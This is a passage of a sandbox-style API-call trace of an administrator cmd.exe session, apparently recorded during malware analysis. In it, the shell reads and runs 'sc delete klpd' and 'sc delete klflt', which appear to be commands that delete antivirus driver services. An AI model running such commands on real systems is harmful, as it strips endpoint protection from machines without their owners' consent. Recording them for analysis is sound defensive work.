hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0067.402] GetProcessHeap () returned 0x1b0000 [0067.402] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0067.402] GetProcessHeap () returned 0x1b0000 [0067.403] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0067.403] GetProcessHeap () returned 0x1b0000 [0067.403] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0067.403] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0067.403] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.403] GetFileType (hFile=0x120) returned 0x3 [0067.403] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.403] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0067.403] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0067.403] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0067.403] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0067.403] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0067.403] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0067.403] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.403] GetFileType (hFile=0x120) returned 0x3 [0067.403] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.403] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0067.403] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0067.403] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.403] GetFileType (hFile=0xb8) returned 0x3 [0067.403] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.403] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.403] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.403] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.403] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.403] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.404] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.404] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.404] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.404] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.404] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.404] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.404] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.404] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.404] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.404] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.404] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.404] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.404] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.404] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.404] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.404] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.404] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.404] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.404] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.404] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.404] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.404] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.404] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.404] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.404] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.404] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.404] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.405] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.405] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.405] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.405] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.405] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.405] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.405] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.405] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.405] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.405] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.405] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.405] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.405] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.405] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.405] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="lpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.405] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.405] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.405] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.405] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="fd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.405] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.405] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.405] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.405] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="l\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.405] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.405] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.405] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.406] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="t8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.406] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.406] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.406] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.406] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.406] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.406] GetFileType (hFile=0xb8) returned 0x3 [0067.406] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.406] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.406] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.406] GetFileType (hFile=0x120) returned 0x3 [0067.406] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.406] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klflt\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klflt\n", lpUsedDefaultChar=0x0) returned 17 [0067.406] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x10, lpOverlapped=0x0) returned 1 [0067.406] GetProcessHeap () returned 0x1b0000 [0067.406] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0067.406] GetProcessHeap () returned 0x1b0000 [0067.406] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0067.406] GetProcessHeap () returned 0x1b0000 [0067.406] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0067.406] GetProcessHeap () returned 0x1b0000 [0067.406] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0067.406] GetProcessHeap () returned 0x1b0000 [0067.406] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x2c) returned 0x1c6510 [0067.406] GetConsoleOutputCP () returned 0x1b5 [0067.407] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0067.407] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.407] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.407] GetProcessHeap () returned 0x1b0000 [0067.407] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0067.407] GetProcessHeap () returned 0x1b0000 [0067.407] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x32) returned 0x1c6550 [0067.407] GetProcessHeap () returned 0x1b0000 [0067.407] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0067.407] SetErrorMode (uMode=0x0) returned 0x1 [0067.407] SetErrorMode (uMode=0x1) returned 0x0 [0067.407] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0067.407] SetErrorMode (uMode=0x1) returned 0x1 [0067.407] GetProcessHeap () returned 0x1b0000 [0067.407] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0067.407] GetProcessHeap () returned 0x1b0000 [0067.407] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0067.407] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0067.407] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0067.407] GetProcessHeap () returned 0x1b0000 [0067.407] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0067.407] GetProcessHeap () returned 0x1b0000 [0067.407] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0067.408] GetProcessHeap () returned 0x1b0000 [0067.408] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0067.408] GetProcessHeap () returned 0x1b0000 [0067.408] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0067.408] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0067.408] GetProcessHeap () returned 0x1b0000 [0067.408] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0067.408] GetProcessHeap () returned 0x1b0000 [0067.408] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0067.408] GetProcessHeap () returned 0x1b0000 [0067.408] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0067.408] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.408] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.408] GetLastError () returned 0x2 [0067.408] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.409] GetLastError () returned 0x2 [0067.409] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.409] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.409] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.409] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.409] GetLastError () returned 0x2 [0067.409] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.409] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.409] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.414] GetProcessHeap () returned 0x1b0000 [0067.415] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0067.415] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.417] GetProcessHeap () returned 0x1b0000 [0067.417] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x98) returned 0x1c9180 [0067.417] GetProcessHeap () returned 0x1b0000 [0067.417] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x98 [0067.417] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klflt") returned 1 [0067.420] GetProcessHeap () returned 0x1b0000 [0067.420] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0067.420] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0067.420] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0067.421] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0067.421] GetProcessHeap () returned 0x1b0000 [0067.421] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0067.421] GetProcessHeap () returned 0x1b0000 [0067.421] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0067.421] GetProcessHeap () returned 0x1b0000 [0067.421] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0067.421] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klflt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klflt", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete klflt", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0xa0c, dwThreadId=0xa1c)) returned 1 [0067.426] CloseHandle (hObject=0x50) returned 1 [0067.426] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0067.426] GetProcessHeap () returned 0x1b0000 [0067.426] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0067.426] GetEnvironmentStringsW () returned 0x1d1b10* [0067.426] GetProcessHeap () returned 0x1b0000 [0067.426] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0067.426] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.426] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0067.426] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd9000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0067.427] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0067.633] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0067.633] CloseHandle (hObject=0x54) returned 1 [0067.633] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0067.633] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0067.633] GetProcessHeap () returned 0x1b0000 [0067.633] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0067.633] GetEnvironmentStringsW () returned 0x1d1b10* [0067.634] GetProcessHeap () returned 0x1b0000 [0067.634] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, 